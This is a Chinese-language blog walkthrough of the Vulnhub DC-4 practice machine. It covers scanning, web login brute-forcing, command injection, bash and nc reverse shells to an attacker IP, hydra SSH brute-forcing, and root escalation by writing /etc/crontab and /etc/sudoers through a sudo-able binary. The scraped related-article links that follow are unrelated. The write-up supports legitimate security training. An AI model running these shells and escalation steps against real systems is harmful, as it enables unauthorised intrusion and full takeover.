Vulnhub DC-4靶机渗透
信息搜集
nmap -sP 192.168.146.0/24 #扫网段看看存活的主机,找到靶机
nmap -sS -Pn -A 192.168.146.141

可以看到开放了22和80端口,那么就可以猜测下,可能要爆破ssh密码或者得到账号密码直接ssh连上去。
这里先访问web页面,只有一个登陆页面,那就先扫描下目录。

看到访问command.php后又跳转回index.php,那么估计是要登陆才可以使用了。
getFlag
Web登陆密码爆破
这里没什么线索,但是登陆不用填验证码,就直接尝试爆破吧。


爆破出用户名*,密码happy。


也就是说这里只用密码happy就能登陆
命令执行之反弹shell
登陆进页面看到命令执行选项,这种情况估计就是参数传递命令,抓个包看看就行了。

可以看到确实是在radio参数传输命令,但是这样比较麻烦,尝试反弹shell。
bash -i >& /dev/tcp/192.168.146.131/4444 0>&1
这里要将&符号url编码下,以便区分参数间的&符号,当然可以直接全部url编码下。bash反弹失败

nc 192.168.31.131 4444 -t /bin/bash #nc反弹成功

根据之前的靶机,可以直接进入/home目录下看看有哪些用户

经检测,charles和sam目录无法ls出文件,而jim可以。


大概就是mbox我们没有读的权限,backups里面又一堆旧密码,test.sh内容如下

SSH密码爆破
信息搜集的时候我们就知道22端口是开着的,可以ssh上去。
所以这里的old-passwords可能是jim进行ssh的旧密码(现在的密码也可能在其中),那么就down下来用hydra爆破下。
hydra -l jim -P pwd.txt ssh://192.168.146.141

爆破出用户名是jim,密码是jibril04。直接连上去
提权
ssh jim@192.168.146.141
登陆进去看mbox,是一封邮件

既然有邮件,就想到去/var/mail目录下看看,看到邮件的具体内容。有Charles发来的密码。

密码是^xHhA&hvim0y,准备登陆charles了。在这之前,先看看jim有没有sudo权限,好的是没有的。
sudo -l

有密码了,直接ssh连上去,ls -al查看charles目录下的内容

看这三个文件没有发现什么有用的信息。那就也来看看有没有sudo权限。

可以发现,可以不用密码使用root权限操作/usr/bin/teehee,这个可执行文件,查看下帮助。

它可以将标准输入复制到每个文件,那么好办了,既然可以用root权限写文件?那岂不是直接快乐就完事了?
测试下:(成功写入文件)

想想几个重要的文件,无非就是定时任务文件(crontab),sudoers文件
先来玩玩定任务文件把。
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

再来写/etc/sudoers文件,先看看本地sudoers文件的语法。

仿造写一个 charles ALL=(ALL:ALL) ALL

可以看到现在charles可以以root用户身份运行所有命令

总结
总的来说这个靶机也并不难,学到的东西好像也并不是很多。。。
主要就学到了利用suid提权,这个利用这个root权限可以写文件。之后就是有写文件权限提权的思路了。
Vulnhub DC-4靶机渗透的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub DC-9靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
随机推荐
- qtp10安装步骤(比较完整)
在安装qtp之前,要提前安装软件(不知道是干嘛的,反正安装就完了),右键--管理员运行完成安装,如下图: 解压qtp镜像: 双击setup: 第一步,点击第一排 第二步, 注:安装QTP系统提示“ 计 ...
- LeetCode 136、137、260(只出现一次的数,异或性质及应用)
First. 陈列一下“异或”的一些性质 异或是一种基于二进制的位运算,用符号XOR或者 ^ 表示,其运算法则是对运算符两侧数的每一个二进制位,同值取0,异值取1. 它与布尔运算的区别在于,当运算符两 ...
- 简说Python之flask-SQLAlchmey的web应用
目录 原生语句操作MySQL数据库 1.安装MySQL 2.MySQL设置用户和权限 3.用PyMySQL操纵MySQL数据库 4. CRUD增,删,改,查 使用SQLAlchemy 1.安装SQLA ...
- 附013.Kubernetes永久存储Rook部署
一 Rook概述 1.1 Ceph简介 Ceph是一种高度可扩展的分布式存储解决方案,提供对象.文件和块存储.在每个存储节点上,将找到Ceph存储对象的文件系统和Ceph OSD(对象存储守护程序)进 ...
- Jenkins的凭证管理
Jenkins的凭证管理 什么是凭证? 凭证(cridential)是Jenkins进行受限操作时的凭据.比如使用SSH登录远程机器时,用户名和密码或SSH key就是凭证.而这些凭证不可能以明文写在 ...
- 移动端Rem适配(基于vue-cli3 ,ui框架用的是vant-ui)
介绍postcss-pxtorem 是一款 postcss 插件,用于将单位转化为 remlib-flexible 用于设置 rem 基准值 1.安装lib-flexible(用于设置 rem 基准值 ...
- 快速排序--15--快排--LeetCode排序数组
排序数组 给定一个整数数组 nums,将该数组升序排列. 示例 1: 输入:[5,2,3,1] 输出:[1,2,3,5] 示例 2: 输入:[5,1,1,2,0,0] 输出:[0,0,1,1,2,5] ...
- shell脚本基础-语法
一 变量 [root@T_FOOT-Home2-ZZZ01 ~]# a=hello [root@T_FOOT-Home2-ZZZ01 ~]# echo $a hello [root@T_FOOT-Ho ...
- 被问到到http的时候你就这么回答!
大家好,我是标题党,啊不,我是小雨小雨,致力于分享有趣的.实用的技术文章. 内容分为翻译和原创,如果有问题,欢迎随时评论或私信,希望和大家一起进步. 分享不易,希望能够得到大家的支持和关注. 什么是互 ...
- hdu1258 dfs 给一个指定的target数和一个数列,要求不重复选择其中的数使得和为target并打印,结果不可重复。
#include<bits/stdc++.h> using namespace std; typedef unsigned int ui; typedef long long ll; ty ...